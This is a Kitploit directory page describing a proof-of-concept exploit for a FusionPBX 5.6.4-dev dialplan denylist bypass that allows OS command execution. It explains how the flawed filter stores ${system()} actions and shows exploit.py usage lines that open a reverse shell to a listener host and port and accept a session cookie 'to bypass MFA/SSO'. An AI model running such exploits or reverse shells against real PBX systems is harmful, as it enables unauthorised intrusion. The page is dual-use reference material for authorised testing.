Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/jasonbernier/dialplan-escape-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHub
jasonbernier/dialplan-escape-rce

Dialplan-Escape-RCE

CVE-2026-112195 FusionPBX Dialplan Denylist Bypass Enabling Conditional OS Command Execution in FusionPBX 5.6.4-dev

View Repository
11 month agoNot yet reviewed
Share

CVE-2026-112195 FusionPBX Dialplan RCE Proof of Concept for FusionPBX 5.6.4-dev

Python Version License Security

⚠️ Disclaimer

FOR EDUCATIONAL AND AUTHORIZED PENETRATION TESTING PURPOSES ONLY.

This tool is a Proof of Concept (PoC) demonstrating a Remote Code Execution (RCE) vulnerability via a system-filter bypass in FusionPBX dialplan configurations in FusionPBX 5.6.4-dev. The author is not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any target system.

FusionPBX intentionally removes dangerous FreeSWITCH applications such as system, bgsystem, spawn, bg_spawn, and spawn_stream from the structured dialplan editor's application list. The corresponding server-side filter is logically incorrect, however, and permits these values to be submitted and stored.

On a secure default installation, FreeSWITCH's independent command controls prevent the stored system action from executing. If a trusted administrator deliberately disables the applicable FreeSWITCH control and reloads the relevant runtime component, the previously accepted dialplan action can execute an operating-system command as the FreeSWITCH service account when its route is triggered.

FusionPBX 5.6.4-dev ships FreeSWITCH with the relevant system-command interfaces disabled. Under the stock FusionPBX permission model, exploitation requires an authenticated superadmin session—or another account explicitly granted equivalent permissions—and the applicable system-command interface must already be enabled or be enabled administratively. The relevant FreeSWITCH module must then be loaded after the configuration change.


Vulnerability Mechanism

The exploit targets the way FusionPBX processes dialplan data. By injecting a specific command string during the configuration save process, the tool bypasses standard input filters, allowing the ${system()} expansion to be retained in the configuration. When the dialplan is subsequently executed (triggered via a call), FreeSWITCH expands the command, leading to RCE.


Usage

python3 exploit.py --base-url <URL> --lhost <IP> --lport <PORT> [OPTIONS]
python3 exploit.py -t https://pbx.lab.example --username admin --password Password123 --insecure --trigger-local --lhost X.X.X.X --lport XXXX

--base-url	The target FusionPBX base URL (e.g., https://pbx.lab.example or https://host/fusionpbx/).
--lhost	The IP address of your listener (the machine receiving the reverse shell).
--lport	The port on your listener machine (e.g., 4444).
--cookie	An existing authorized session cookie (e.g., PHPSESSID=xyz...). Use this to bypass MFA/SSO.
--username	The FusionPBX username (requires --password).
--password	The password for the specified user.
--domain-name	The FusionPBX login domain name (required if the login form/domain configuration requires it).
--insecure	Disable TLS certificate validation. Use only in isolated lab environments.
--trigger-local	Attempts to trigger the route automatically using the local fs_cli (must be run on the PBX host).
--fs-cli-path	Path to the local fs_cli binary (default: /usr/bin/fs_cli).
--sudo-fs-cli	Use sudo -n to invoke fs_cli non-interactively (requires existing sudo authorization).
--context	Test dialplan context (default: ${domain_name}).
--trigger	Specific digits to dial to trigger the shell (default: random 8-digit number).

Note: You must provide either a session cookie OR credentials.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    645
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    420
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    388
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    328

Explore all tools

Browse our collection of tools

View all tools →